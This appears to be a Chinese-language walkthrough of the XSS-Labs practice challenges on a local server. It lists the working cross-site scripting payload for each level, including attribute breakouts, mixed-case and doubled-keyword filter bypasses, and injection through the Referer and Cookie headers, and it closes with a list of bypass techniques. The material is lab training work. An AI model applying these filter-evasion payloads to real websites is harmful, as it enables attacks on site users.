xss-labs
xss-labs
GitHub地址 : https://github.com/BLACKHAT-SSG/XSS-Labs
1
http://localhost:8008/xss-labs/level1.php?name=<script>alert(1);</script>
2
"><script>alert(1);</script>
3
1.onfocus 当input 获取到焦点时触发
2.onblur 当input失去焦点时触发,注意:这个事件触发的前提是已经获取了焦点再失去焦点的时候才会触发该事件,用于判断标签为空。
3.onchange 当input失去焦点并且它的value值发生变化时触发,个人感觉可以用于注册时的确认密码。
4.onkeydown 按下按键时的事件触发,
用onblur 构造
'onfocus=javascript:alert('xss')
'onblur=javascript:alert('xss')
4
检查元素发现过滤了`<` `>`
输入'onfocus=javascript:alert('xss') 失败
"onclick="alert(1) 成功
5
"onclick="alert(1) `==>` o_nclick="alert(1)"
<script>alert('xss')</script> `==>` <scr_ipt>alert('xss')</script>
"><a href='javascript:alert(1)'>'
输入 发现是有会显的"><script>alert('XSS');</script>
构造"><a href='javascript:alert(1)'>'
6
构造"><a href='javascript:alert(1)'>'
被过滤
大小写混用
"><a HRef='JaVascRipt:alert(1)'>'
7
直接把href和script去除了一次,猜测替换一次
"><a HRhrefef='JaVasscriptcRipt:alert(1)'>'
8
javascript:alert(1) ==>
javascr_ipt 大小写也失败
对js代码进行编码
javascript:alert(1)
9
报错<a href="您的链接不合法?有没有!">友情链接</a>
尝试添加http
javascript:alert(1)//http://
10
网页源码有三个表单
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="text" onclick="alert('xss')" type="hidden">
让一个表单暴露出来
t_link=" type="text" onclick="alert('1')
11
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="http://localhost:8008/xss-labs/level10.php?t_sort=%22%20type=%22text%22%20onclick=%22alert(%271%27)" type="hidden">
抓包试试,正常方法貌似不太行
存在注入点
Referer: " type="text" onclick="alert('1')
12
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="http://localhost:8008/xss-labs/level10.php?t_sort=%22%20type=%22text%22%20onclick=%22alert(%271%27)" type="hidden">
</form>
类似于上一关
13
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="call me maybe?" type="hidden">
Cookie: user=call+me+maybe%3F
修改即可
14
<iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a>
这一关没看明白,看网上说 地址失效 无法测试
15
ng-include:去搜索一下
ng-include
是angular js
中的东西,其作用相当于php的include函数。这里就
构造?src='level1.php?name=<img src=1 onerror=alert(1)>'
16
http://localhost:8008/xss-labs/level16.php?keyword=
利用%0a回车
<img%0a
src=”111”%0a
onerror=alert(1)%0a
17
http://localhost:8008/xss-labs/level17.php?arg01=a&arg02=b
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
arg01和arg02存在注入点
总结
绕过思路:
大小写绕过
javascript伪协议
回车换行
onclick,onfocus,事件触发
没有分号
HTML5 新标签
unicode编码(js里面)
Fuzz进行测试
双层标签绕过